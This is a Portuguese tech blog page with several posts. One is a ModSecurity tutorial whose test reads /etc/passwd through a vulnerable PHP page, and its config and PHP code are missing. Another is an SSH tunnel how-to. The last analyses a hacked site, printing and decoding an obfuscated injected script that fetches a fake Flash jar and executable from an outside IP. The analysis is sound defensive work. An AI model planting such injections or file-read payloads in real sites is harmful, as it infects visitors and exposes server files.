agradeço aos que me acompanham neste blog, como este blog eu misturo muita coisa, fiz um pra tratar somente sobre assuntos de tecnologia, por favor visitem Cydia Tweak e compartilhem, obrigado.

1 – Ultramarines
2 – 127 Hours (DVDscr)
3 – Megamind (SCR)
4 – Little Fockers (TS)
5 – Winter’s Bone
6 – Inception
7 – TRON: Legacy (TS)
8 – Death Race 2
9 – The Social Network
10 – The Fighter (SCR)

Bom dia a todos…

Adicione a seguinte linha no final do arquivo:
deb http://backports.debian.org/debian-backports lenny-backports main

Então atualize:
$ aptitude update

2 – Instale o ModSecurity:
$ aptitude -t lenny-backports install libapache-mod-security -y

3 – Após a instalação, criei alguns diretórios que achei necessário (apenas uma sugestão, você pode criar os diretórios onde bem entender):
$ mkdir /etc/apache2/logs /etc/apache2/modsecurity

4 – Criar o arquivo de configuração do ModSecurity que irá ser carregado pelo Apache:
$ vim /etc/apache2/conf.d/modsecurity.conf

E adicionar as seguintes linhas no arquivo:

# /etc/init.d/apache2/conf.d/modsecurity.conf

5 – Entrar no diretório que nós criamos do ModSecurity para copiar as regras que por padrão já vem configuradas:

$ cd /etc/apache2/modsecurity
$ cp -R /usr/share/doc/mod-security-common/examples/rules/* .

6 – Reiniciar o Apache:
$ /etc/init.d/apache2 restart

7 – Verifique se o ModSecurity carregou com o Apache:
$ cat /var/log/apache2/error.log | grep modsecurity

- Deve retornar a seguinte linha:
ModSecurity for Apache/2.5.11 (http://www.modsecurity.org/) configured.

8 – Testando seu ModSecurity:
- Primeiro vamos desabilitar o ModSecurity e reiniciar o Apache:
$ a2dismod mod-security && /etc/init.d/apache2 restart

- Vamos criar um diretório dentro do raiz do apache2, no meu caso, o /var/www:
$ mkdir /var/www/teste

- E vamos criar uma página em PHP, que é capaz de mostrar qualquer arquivo do Servidor:

- Vá até o seu navegador preferido e digite http://servidor.web/index.php?secret_file=/etc/passwd (lembre-se de alterar o servidor.web pelo nome ou IP de seu servidor);
- Você irá conseguir visualizar, no seu browser, o arquivo de usuários locais do sistema;
- Agora vamos habilitar o ModSecurity e reiniciar o Apache:
$ a2enmod mod-security && /etc/init.d/apache2 restart

- Vá novamente em seu navegador favorito e digite novamente http://servidor.web/index.php?secret_file=/etc/passwd (lembre-se de alterar o servidor.web pelo nome ou IP de seu servidor)
- Você irá receber a mensagem de Forbidden;
- Os logs do ModSecurity ficam em /etc/apache2/logs.

Vou estudar melhor as regras do ModSecurity, qualquer novidade eu posto por aqui.

Abraços.

Vou mostrar como fazer um tunel SSH para acessar uma máquina remota e utilizar algum serviço da rede ou algum programa que escute em alguma porta.

Exemplo:

ssh -f guilhermecunha@SERVIDOR-REMOTO -L 1030:SERVIDOR-REMOTO:80 -N

Mas o que esta linha faz?

Esta execução irá fazer com que eu faça login na máquina remota via ssh e faça um tunelamento para a porta 80 usando a porta 1030 localmente. Ou seja, depois de executar este comando vou puder acessar a máquina remota através da porta 1030 da seguinte forma:

http://SERVIDOR-LOCAL:1030

Sendo que o serviço na máquina remota está rodando na porta 80

Estava eu fazendo pesquisas em sites de planos de saúde, quando entro no site da MasterSaúde (http://www.mastersaude.com.br), recebo uma mensagem que não possuo o Flash Player instalado, veja na figura:

WTF?? Tenho instalado o Flash Player, o que será?

Peguei o código fonte e dei uma vasculhada, mandei o pro Miguel di Ciurcio Filho (http://osysadmin.blogspot.com) pois ele já havia descoberto um worm no site da Vivo, então ele achou no rodapé o seguinte código:

<script type=”text/javascript”>
<!­­
document.write(unescape(“%3C%73%63%72%69%70%74%20%74%79%70%65%3D
%22%74%65%78%74%2F%6A
%61%76%61%73%63%72%69%70%74%22%20%73%72%63%3D%22%68%74%74%70%3A
%2F%2F%32%30%34%2E%33%2E%31%35%36%2E%32%34%36%2F%6A%73%2F%67%6C
%6F%62%61%6C%2E%6A%73%22%3E%3C%2F%73%63%72%69%70%74%3E”))
// ­­>
</script>

Descodificando com o Python:

imPython 2.6.2 (release26­maint, Apr 19 2009, 01:56:41)
[GCC 4.3.3] on linux2
Type “help”, “copyright”, “credits” or “license” for more information.
>>> import urllib
>>>
urllib.unquote(“%3C%73%63%72%69%70%74%20%74%79%70%65%3D
%22%74%65%78%74%2F%6A
%61%76%61%73%63%72%69%70%74%22%20%73%72%63%3D%22%68%74%74%70%3A
%2F%2F%32%30%34%2E%33%2E%31%35%36%2E%32%34%36%2F%6A%73%2F%67%6C
%6F%62%61%6C%2E%6A%73%22%3E%3C%2F%73%63%72%69%70%74%3E”)
‘<script type=”text/javascript”
src=”http://204.3.156.246/js/global.js”></script>’

Conteúdo do arquivo global.js:

/* Setar IP atual logo abaixo */
var url = “204.3.156.246″;
document.write(‘<applet name=”Seu Computador não possui Adobe Shockwave
Player clique em RUN para proseguir ­ ©Adobe Shockwave Player Version
11.5.0.600″ code=”Main.class” archive=”http://’ + url +
‘/js/FlashPlayer.jar” height=”10″ width=”1″><param name=”link”
value=”http://’ + url + ‘/js/install_flash_player_ax.exe”></applet>’);

Eeeeeta… site hackeado…